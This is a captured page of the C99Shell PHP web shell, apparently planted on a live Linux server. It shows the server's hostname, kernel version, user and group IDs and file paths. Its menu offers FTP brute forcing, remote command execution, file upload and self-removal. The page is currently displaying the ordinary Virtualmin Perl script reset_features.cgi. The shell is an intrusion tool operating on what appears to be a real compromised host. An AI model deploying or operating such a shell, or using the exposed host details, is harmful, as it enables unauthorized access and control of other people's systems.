!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/virtual-server/   drwxrwxr-x
Free 28.64 GB of 117.98 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     reset_features.cgi (3.29 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Reset some features on a selected domain

require './virtual-server-lib.pl';
&ReadParse();
&error_setup($text{'reset_err'});
&can_edit_templates() || &error($text{'reset_ecannot'});

# Check and parse inputs
my $d = &get_domain($in{'server'});
$d && &can_edit_domain($d) || &error($text{'reset_edom'});
my %sel = map { $_, 1 } split(/\0/, $in{'features'});
%sel || &error($text{'reset_efeatures'});
my @dom_features = grep { $d->{$_} && $sel{$_} }
         &list_ordered_features($d);
@dom_features || &error($text{'reset_efeatures2'});
my %feature = map { $_, 1 } grep { $sel{$_} } @features;
my %plugins = map { $_, 1 } grep { $sel{$_} } &list_feature_plugins();

# Can each be reset?
my %canmap;
foreach $f (@dom_features) {
    my $can = 1;
    my $fn = &feature_name($f, $d);
    if ($feature{$f}) {
        my $crfunc = "can_reset_".$f;
        $can = defined(&$crfunc) ? &$crfunc($d) : 1;
        }
    elsif ($plugin{$f}) {
        $can = &plugin_defined($f, "feature_can_reset") ?
            &plugin_call($f, "feature_can_reset", $d) : 1;
        }
    $can || &error(&text('reset_enoreset', $fn));
    $canmap{$f} = $can;
    }

# Run the before command
&set_domain_envs($d, "MODIFY_DOMAIN");
$merr = &making_changes();
&reset_domain_envs($d);
if (defined($merr)) {
    &error(&text('save_emaking', "<tt>$merr</tt>"));
    }

&ui_print_header(&domain_in($d), $text{'reset_title'}, "");

# Reset each feature or plugin that was selected
my $oldd = { %$d };
my $dataloss;
foreach $f (@dom_features) {
    my $err;
    my $fn = &feature_name($f, $d);
    &$first_print(&text('reset_doing', $fn));

    # Check if resetting is a good idea
    if ($feature{$f}) {
        my $prfunc = "check_reset_".$f;
        $err = defined(&$prfunc) ? &$prfunc($d) : undef;
        }
    elsif ($plugin{$f}) {
        $err = &plugin_call($f, "feature_check_reset", $d);
        }
    if ($err) {
        if ($in{'fullreset'}) {
            &$second_print(&text('reset_iwarning', $err));
            }
        elsif ($in{'skipwarnings'}) {
            &$second_print(&text('reset_swarning', $err));
            }
        else {
            &$second_print(&text('reset_dataloss', $err));
            $dataloss = 1;
            next;
            }
        }

    # Do the reset
    &$indent_print();
    if ($feature{$f}) {
        # Core feature of Virtualmin
        my $rfunc = "reset_".$f;
        if (defined(&$rfunc) &&
            (!$in{'fullreset'} || $canmap{$f} == 2)) {
            # A reset function exists
            &try_function($f, $rfunc, $d);
            }
        else {
            # Turn on and off via delete and setup calls
            $d->{$f} = 0;
            &call_feature_func($f, $d, $oldd);
            my $newoldd = { %$d };
            $d->{$f} = 1;
            &call_feature_func($f, $d, $newoldd);
            }
        }
    if ($plugin{$f}) {
        # Defined by a plugin
        if (&plugin_defined($f, "feature_reset") &&
            (!$in{'fullreset'} || $canmap{$f} == 2)) {
            # Call the reset function
            &plugin_call($f, "feature_reset", $d);
            }
        else {
            # Turn off and on again
            $d->{$f} = 0;
            &plugin_call($f, "feature_delete", $d);
            $d->{$f} = 1;
            &plugin_call($f, "feature_setup", $d);
            }
        }
    &$outdent_print();

    &$second_print($text{'setup_done'});
    }

&run_post_actions();

# Offer to reset anyway
if ($dataloss) {
    print &ui_form_start("reset_features.cgi", "post");
    print &ui_hidden("server", $in{'server'});
    foreach my $f (keys %sel) {
        print &ui_hidden("features", $f);
        }
    print &ui_form_end( [ [ 'skipwarnings', $text{'reset_override'} ] ]);
    }

&ui_print_footer("", $text{'index_return'},
     "edit_newvalidate.cgi?mode=reset", $text{'newvalidate_return'});

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--